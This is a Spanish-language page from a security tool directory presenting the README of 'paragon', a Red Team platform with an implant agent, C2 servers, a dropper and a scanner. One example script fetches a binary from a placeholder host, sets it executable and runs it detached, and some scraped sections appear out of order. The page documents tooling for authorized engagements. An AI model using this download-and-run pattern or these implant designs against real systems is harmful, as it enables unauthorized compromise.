Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
paragon — Plataforma de compromiso Red Team con el objetivo de unificar herramientas ofensivas tras una interfaz de usuario simple. | Kitploit
Herramientas/GitHubGitHub/kcarretto/paragon
Frameworks de Pruebas de PenetraciónFrameworks de ExploitsScripting y AutomatizaciónPost-ExplotaciónComando y ControlRed TeamingDesarrollo de Payloads
GitHubkcarretto/paragon

paragon

Plataforma de compromiso Red Team con el objetivo de unificar herramientas ofensivas tras una interfaz de usuario simple.

Ver Repositorio
30442hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aviso de deprecación

Este proyecto ha sido deprecado, por favor consulte nuestro nuevo proyecto Realm, que se basa en muchas de las ideas que tuvimos al construir este repositorio.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon es una plataforma de compromiso de Red Team. Su objetivo es unificar herramientas ofensivas detrás de una interfaz de usuario simple, abstrayendo gran parte del trabajo de backend para permitir que los operadores se centren en escribir implantes y dediquen menos tiempo a preocuparse por bases de datos y CSS. El repositorio también proporciona algunas herramientas ofensivas ya integradas con Paragon que pueden utilizarse durante compromisos.

Este repositorio aún está en desarrollo intensivo y no está listo para uso en producción. Cuando se considere estable, se lanzará una etiqueta V1.0.0. Hasta entonces, la API puede sufrir cambios disruptivos mientras simplificamos continuamente nuestro diseño. Lea la documentación para desarrolladores a continuación si desea ayudarnos a alcanzar este hito más rápido.

Table of Contents

  • Feature Highlights
  • Getting Started
  • Component Overview
  • FAQ
  • Terminology
  • Developer Guide

Feature Highlights

  • Integre fácilmente herramientas personalizadas para unificar operaciones detrás de una única interfaz
  • Consulte el grafo de conocimiento del Red Team utilizando una API GraphQL proporcionada
  • Emisión de eventos para automatización de baja latencia y procesamiento en tiempo real
  • Lenguaje de scripting similar a Python para despliegues, post-explotación y más
  • Implantes y despliegue multiplataforma incluidos
  • Registre la actividad del operador para agregarla cómodamente en un informe posterior al compromiso para su revisión

Getting Started

Se puede configurar una instancia rápida de demostración clonando el repositorio y ejecutando docker-compose up. Abra 127.0.0.1:80 en su navegador para comenzar.

Las imágenes utilizadas están disponibles en docker-hub y se pueden configurar desde un archivo docker-compose para un despliegue en producción.

Component Overview

Scripting Language

La mayoría de los componentes de este repositorio dependen de un lenguaje de scripting similar a Python que permite un control potente y la personalización de su comportamiento. El lenguaje es una versión modificada de Google's starlark, extendido con funcionalidad multiplataforma para los operadores. Esto también permite que herramientas como el agente y el droppedor (discutidos a continuación) ejecuten tareas sin depender de binarios del sistema (curl, bash, etc.). Todas las operaciones se ejecutan como código en Golang, por lo que es intuitivo agregar funcionalidad adicional al entorno de scripting. Aquí hay un script de ejemplo:

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Referencia

Teamserver

Proporciona una aplicación web simple y una API GraphQL para interactuar con un grafo de conocimiento del Red Team, unificando herramientas detrás de una fuente centralizada de verdad y abstrayendo muchas preocupaciones tediosas del backend de los operadores. Integre sus herramientas personalizadas con el Teamserver (usando la API GraphQL o suscripciones a eventos) para ahorrar tiempo en el trabajo de backend. El Teamserver registra toda la actividad, por lo que con todas sus herramientas unificadas en un solo lugar, escribir informes posteriores al compromiso se vuelve significativamente más fácil.

Built-In Tools

Las siguientes herramientas también están incluidas en el repositorio. Se pueden extender fácilmente para adaptarse a muchos casos de uso multiplataforma.

Dropper

  • Completamente multiplataforma
  • Compile estáticamente los activos en un solo binario
  • Proporciona un lenguaje de scripting similar a Python para la configuración de despliegue personalizada

Paragon proporciona una herramienta para empaquetar activos (binarios, scripts, etc.) en un solo binario que, al ejecutarse, ejecutará su script de despliegue personalizado que puede escribir activos en el sistema de archivos, lanzar procesos, descargar archivos, manejar errores y más. Es completamente multiplataforma y compilado estáticamente, proporcionando despliegues confiables. Si desea extender su funcionalidad, simplemente puede extender el archivo golang generado antes de compilar.

Agent

  • Completamente multiplataforma
  • Proporciona un lenguaje de scripting similar a Python para la post-explotación
  • Mecanismos de comunicación modulares, compile solo lo que necesite
    • Utilice múltiples opciones para garantizar devoluciones de llamada confiables
  • Personalice cómo el agente maneja las fallas de comunicación

Un implante que ejecuta tareas e informa los resultados de la ejecución. Está configurado por defecto para ejecutar tareas usando el lenguaje de scripting similar a Python de Paragon y para comunicarse con un C2 a través de http(s). Está escrito en Go y se puede modificar rápidamente para agregar nuevos métodos de transporte (por ejemplo, DNS), opciones de ejecución, lógica de conmutación por error y más.

C2

  • Despliegue ligero
  • Alto rendimiento, capaz de manejar miles de Agentes
    • Dependiente de los recursos del sistema y el ancho de banda disponible
  • Servicio distribuido, utilice tantos C2 como desee

Actúa como intermediario entre el Agente y el Teamserver. Maneja las devoluciones de llamada del agente para una variedad de mecanismos de comunicación y le proporciona nuevas tareas desde la cola del teamserver.

Runner

  • Ejecución de tareas en tiempo real y baja latencia
  • Fácilmente extensible para agregar soporte para más mecanismos de comunicación
  • Servicio distribuido, utilice tantos runners como desee

En lugar de esperar una devolución de llamada, algunas situaciones pueden requerir una conexión directa para ejecutar rápidamente una tarea y ver su salida. El runner logra esto suscribiéndose a colas de tareas y estableciendo una conexión con la máquina objetivo (por ejemplo, usando ssh). Esto permite que integraciones tipo shell utilicen la misma interfaz que los implantes y C2. También permite que el despliegue inicial del implante se realice a través de esta interfaz.

Scanner

  • Monitoree servicios objetivo alcanzables
  • Automatice respuestas cuando los servicios se vuelvan (no) disponibles
  • Proporcione información de red al grafo de conocimiento, que puede ser utilizada por otras herramientas
  • Servicio distribuido, utilice tantos scanners como desee

Monitoree la actividad de la red objetivo y los servicios visibles. Mapee un grafo de la red del compromiso y active la automatización en cambios de estado (por ejemplo, ssh se vuelve disponible).

FAQ

What if machines report the same UUID?

Establecer la variable de entorno killswitch PG_KS_MachineUUID para el teamserver deshabilitará las búsquedas que utilizan UUID de máquina.

Terminology

Para garantizar una comunicación clara sobre estos sistemas complejos, hemos delineado algunos términos específicos del proyecto a continuación que se utilizarán en toda la documentación del proyecto.

Implant

Cualquier software malicioso que se ejecutará en sistemas comprometidos durante el compromiso.

Task

Operaciones deseadas que se ejecutarán en un sistema comprometido específico. Las tareas proporcionan instrucciones de ejecución a los implantes, sin embargo su sintaxis / estructura puede ser completamente específica de una herramienta.

Agent

Un implante que recibe tareas del teamserver, las ejecuta e informa sus resultados. Se incluye una implementación predeterminada extensible con este repositorio, que requiere que las tareas se proporcionen como scripts escritos utilizando el DSL similar a Python del proyecto.

Job

Solicitudes para que el Teamserver realice un conjunto de operaciones dadas. Al crear un trabajo, las instrucciones se guardarán pero no se ejecutarán. El usuario puede solicitar que el Teamserver ejecute un trabajo cero o más veces encolando el trabajo y proporcionando los parámetros requeridos. Los trabajos nunca se pueden actualizar, pero se pueden crear nuevas versiones de trabajos para evitar copiar y pegar excesivos.

Un caso de uso común para un Job es cuando el usuario desea ejecutar un script en algunos Targets. El usuario crea un trabajo, que instruye al teamserver para crear tareas con el contenido proporcionado, pero deja las máquinas objetivo deseadas como parámetro. Cuando el trabajo se encola, el usuario proporciona una lista de máquinas objetivo como parámetro, y el Teamserver creará una tarea para cada máquina.

Developer Guide

A continuación se muestra una referencia inicial y breve para el desarrollo de Paragon. Se puede encontrar más documentación en los godocs del paquete o leyendo algo de código :) Después de que finalicemos algunas decisiones de diseño (mucho antes de llegar a v1), entrará en vigor un congelamiento de código hasta que toda la documentación se haya actualizado y organizado adecuadamente.

Prerequisites

  • Git
  • Docker
  • VSCode
    • Si bien puede usar otros editores, perderá la personalización que acelera el desarrollo para VSCode
    • La extensión Remote - Containers proporcionada por Microsoft es necesaria para comenzar.

Environment Setup

Después de instalar los requisitos previos listados anteriormente, podrá comenzar en poco tiempo. Simplemente clone el repositorio y ábralo en VSCode. Se le pedirá que abra el código en un contenedor de desarrollo, que ha sido configurado con todas las dependencias del proyecto y las herramientas de desarrollo que necesitará. Si esta opción no aparece, abra la paleta de comandos y ejecute > Remote-Containers: Open Folder In Container, lo que iniciará el contenedor por usted. Si es la primera vez que inicia el contenedor, puede llevar un tiempo descargarlo... así que tómese un café ^_^

Project Layout

A continuación se muestra una descripción general de la estructura del proyecto y dónde reside cada componente. Si esto se desactualiza, no dude en enviar un issue informándolo o preferiblemente un PR para corregirlo. El código está configurado como un monorepositorio, lo que nos permite aprovechar las herramientas de desarrollo compartidas, la estandarización, etc., evitando conflictos de versiones complicados.

Teamserver Reference

Knowledge Graph

A continuación se muestra una descripción general de la relación entre los nodos en el grafo de conocimiento del Red Team gestionado por el Teamserver.

Graph

Agent Reference

prioridad de transporte. Para usar el suyo propio, simplemente implemente la interfaz agent.Sender y registre su transporte durante la inicialización. Se pueden encontrar ejemplos de transportes existentes en subdirectorios del paquete agent.

Task Execution

Por defecto, el agente espera que las tareas cumplan con la sintaxis de starlark y expone una biblioteca estándar para que los scripts la utilicen. Para cambiar el comportamiento de la ejecución de tareas (por ejemplo, solo comandos bash), puede implementar la interfaz agent.Receiver para ejecutar tareas como desee.

Scripting Environment

El entorno de scripting se puede personalizar para su agente, lo que le permite empaquetar fácilmente nueva funcionalidad para que los scripts la utilicen. Consulte opciones de script para aprender cómo extender el motor de scripts del agente.

Execution Flow

A continuación se muestra un diagrama de flujo de la ejecución general del implante del agente.

Adding a Transport

El agente está diseñado para personalizarse fácilmente con nuevos mecanismos de transporte, multiplexando comunicaciones basadas en

AgentExec

Descargar herramienta
CarpetaCaso de uso
.devcontainerConfiguración para el entorno de desarrollo de contenedor de VSCode.
.githubConfiguración de Github.
.statsUn directorio ignorado por git (que puede o no tener) para almacenar la salida de perfilado de rendimiento.
entDefiniciones de API relacionadas con grafos utilizadas por el teamserver.
graphqlEsquema GraphQL y código relacionado generado a partir de ent.
cmdHerramientas ejecutables de línea de comandos y servicios.
distUn directorio ignorado por git para almacenar artefactos de compilación.
dockerDockerfiles utilizados para el despliegue de ejemplo.
entModelos y esquemas de grafos utilizados por el teamserver (consulte la herramienta entgo de Facebook para más información).
pkgBibliotecas públicas utilizadas por las herramientas del repositorio pero también expuestas al mundo.
pkg/agentUna abstracción para crear fácilmente un implante o transporte de comunicación.
pkg/c2Ayudantes relacionados con el servicio C2 y definiciones de mensajes estandarizadas.
pkg/c2/protoEspecificación Protobuf para definir un formato de serialización estandarizado para la comunicación Agente <-> C2.
pkg/dropProporciona un método simple utilizado por las cargas útiles del droppedor compilado.
pkg/middlewareMiddleware común para servicios HTTP.
pkg/scriptLenguaje de scripting similar a Python para configuración dinámica, automatización y explotación multiplataforma.
pkg/script/stdlibBibliotecas estándar que exponen funcionalidad para entornos de ejecución de scripting.
pkg/teamserverAyudantes relacionados con el servicio Teamserver.
wwwContiene la aplicación web principal alojada por el teamserver. Creada por la aplicación create-react-app de Facebook.
www/src/componentsComponentes react reutilizables.
www/src/configConfiguración de la aplicación web y enrutamiento.
www/src/viewsContenedores que consultan datos del Teamserver y componen componentes para renderizar.